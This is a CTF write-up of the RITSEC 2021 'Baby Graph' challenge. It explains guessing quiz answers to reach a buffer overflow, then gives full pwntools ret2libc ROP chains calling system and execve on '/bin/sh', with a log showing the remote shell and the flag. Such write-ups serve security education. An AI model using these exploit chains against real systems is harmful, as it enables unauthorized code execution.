Rating:
# RITSEC 2021: Baby Graph
Points: 231
Category: Rev/Bin
## Summary
We are presented with three files:
- _babygraph_: the compiled binary, running on the challenge server
- _libc.so.6_: the version of libc on the challenge server
- _babygraph.c_: source code for the babygraph binary
## Code Review
Taking a look at the source, I first noticed familiar variable names dealing with graph structures:
```c
#define MAXN 10
#define NQUIZ 5
unsigned int G[MAXN][MAXN];
unsigned int deg[MAXN];
unsigned int V;
unsigned int E;
```
(_G_ for graph, _V_ for vertex, _E_ for edge, _deg_ for degree of connectivity)
The `generateGraph` function generates a random graph with random configurations of vertices connected via random edges. Of note, it starts by calling `resetGraph` which sets the global boolean `bruh` to true, and before returning, optionally sets `bruh` to false:
```c
void generateGraph() {
resetGraph(); // sets bruh to true
// ...graph generated here using rand()...
for (int v = 0; v < V; v++) {
if (deg[v] % 2) {
bruh = false;
break;
}
}
}
```
Next up is this aptly named function:
```c
void vuln() {
char buf[100];
printf("Here is your prize: %p\n", system);
fgets(buf, 400, stdin);
}
```
If this function is ever called, we immediately get an information leak (the address of `system`) along with an overflowable stack buffer. The primary goal must be to call this function.
Main is very simple. It seeds `srand` with the current system time in seconds, then enters a for loop that
1. Generates a graph
2. Displays the graph
3. Asks a yes or no question
4. Exits early if the answer is not correct with respect to `bruh`
If all questions are answered correctly, the for loop terminates and the `vuln` function is called.
## Strategy
Three strategies came to mind for how to get to `vuln`.
1. Parse the graph printout and calculate the answer to each question.
2. Pre-determine the five graph answers by seeding `srand` with my own system time, then extending out a minute or so to build up a cache of solutions. After connecting to the server, the first graph shown will line up with a cached solution computed locally.
3. Quickly run some experiments to see whether there is bias toward `Y` over `N` or vice versa.
The first two strategies clearly involved more coding, and it's possible to get lucky with strategy #3 and find out that the answer is `Y` 90% of the time or something. That's what I went with to start.
I modified `main`, adding some simple counters, and removing printing and exiting code, and any calls for user input:
```c
int main() {
srand(time(NULL));
int c = 0;
int d = 0;
for (int jjj=0; jjj < 0x10000; jjj++) {
int a = 0;
int b = 0;
for (int i = 0; i < NQUIZ; i++) {
generateGraph();
if (bruh) { a++; } else { b++; }
}
if (a == 0) {
c++; // All answers "No"
} else {
d++;
}
}
printf("%d, %d \n", c, d);
printf("%f\n", (float)c / (float)d);
return 0;
}
```
`a` and `b` count how often `bruh` was true or false. After 5 graphs generated, `c` counted the number of times _all five answers_ were _N_. And finally, a ratio is printed out after repeating the experiment 0x10000 times.
The results consistently looked something like:
```
16542, 48994
0.337633
```
Meaning the odds of _all Ns_ vs. anything else was about 1:3. Those odds seem pretty good to me!
In about 5 minutes, we found that we don't need to parse their graph printout! We will simply land on `vuln` by guessing `N` all 5 times, with the only potential penalty of having to re-try our exploit a couple times.
## ROP
The stack buffer overflow clearly intends for ROP, but to check for canaries, I loaded the binary in ghidra and decompiled `vuln`:
```c
void vuln(void)
{
char local_78 [112];
printf("Here is your prize: %p\n",system);
fgets(local_78,400,stdin);
return;
}
```
No canary, onto ROP:
```python
if local:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('./libc.so.6')
r = ROP(libc)
```
Pwntools makes this part super easy, and is a highly recommended toolkit for quickly solving CTF pwn challenges. With the `system` function address leaked by `vuln`, we can calculate where the base of libc is loaded, to make further ROP calculations easy:
```python
# parse "0xdeadbeef" string to integer
system_addr = int(leaked_addr_text, 16)
# calculate libc base
system_offset = libc.symbols['system']
libc_base = system_addr - system_offset
```
With the following gadgets and knowledge of `system` already, we are ready to get a shell!
```python
# binsh string
bin_sh_offset = next(libc.search(b'/bin/sh\x00'))
bin_sh_addr = bin_sh_offset + libc_base
# pop rdi gadget
pop_rdi_offset = r.find_gadget(['pop rdi', 'ret']).address
pop_rdi_addr = pop_rdi_offset + libc_base
# ret gadget
ret_offset = r.find_gadget(['ret']).address
ret_addr = ret_offset + libc_base
```
The _ret gadget_ comes in handy since the number of input bytes read in is large, and I didn't want to waste time counting the exact number of bytes until overwriting the first `ret` address and instead used a "ret slide" as the first large chunk of input.
This means that the entire stack buffer is filled with pointers to a `ret` instruction, `RBP` is loaded with this address, and also the first dozen or so ROP instructions actually just execute `ret`, or effectively `nop`.
Our ROP chain is now:
```python
chain = [
pop_rdi_addr,
bin_sh_addr, # rdi
system_addr, # printed from `vuln`
]
# send ropchain
p.sendline(p64(ret_addr) * (250 // 8) + b''.join(p64(r) for r in chain))
p.interactive()
```
We got a shell locally! Unfortunately for whatever reason, this simply would not work on the remote server. We tried debugging so many things, and countlessly watched our payload execute successfully through gdb. It wasn't until we changed our payload slightly to:
```python
chain = [
pop_rdi_addr,
bin_sh_addr, # rdi
puts_addr, # calculated puts address
]
```
Which is effectively `puts("/bin/sh")`. We just tried to make _anything_ useful happen remotely. And this actually caused the remote server to print the string "/bin/sh"!
Something wasn't working with `system("/bin/sh")` so we pivoted to building a new ROP chain for:
```c
void *a = 0;
execve("/bin/sh", a, a);
```
We had to find a few more gadgets for this, to correctly populate the second and third register arguments:
```python
# pop rsi gadget
pop_rsi_offset = r.find_gadget(['pop rsi', 'ret']).address
pop_rsi_addr = pop_rsi_offset + libc_base
# pop rdx gadget
pop_rdx_offset = r.find_gadget(['pop rdx', 'pop r12', 'ret']).address
pop_rdx_addr = pop_rdx_offset + libc_base
# execve gadget
execve_offset = libc.symbols['execve']
execve_addr = execve_offset + libc_base
# null ptr (*VALID* pointer to 0)
nullptr_offset = next(libc.search(p64(0)))
nullptr_addr = nullptr_offset + libc_base
chain = [
pop_rdi_addr,
bin_sh_addr, # rdi
pop_rsi_addr,
nullptr_addr, # rsi
pop_rdx_addr,
nullptr_addr, # rdx
0, # r12
execve_addr,
]
# send ropchain
p.sendline(p64(ret_addr) * (250 // 8) + b''.join(p64(r) for r in chain))
p.interactive()
```
The interesting part here is that we need a _valid address_ where we can expect a pointer to NULL. The following only finds the first valid pointer to 0 in libc:
```python
# null ptr (*VALID* pointer to 0)
nullptr_offset = next(libc.search(p64(0)))
nullptr_addr = nullptr_offset + libc_base
```
This happened to be stable during runtime for this binary. But hey, we threw out exploit stability by answering all `N`s anyway :)
## Popping a shell
```bash
for x in `seq 10`; do ./solve.py; done;
```
```
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] Switching to interactive mode
$ ls
babygraph
core
flag.txt
start.sh
$ cat flag.txt
RS{B4by_gr4ph_du_DU_dU_Du_B4by_graph_DU_DU_DU_DU_Baby_gr4ph}
$ exit
[*] Got EOF while reading in interactive
$
```
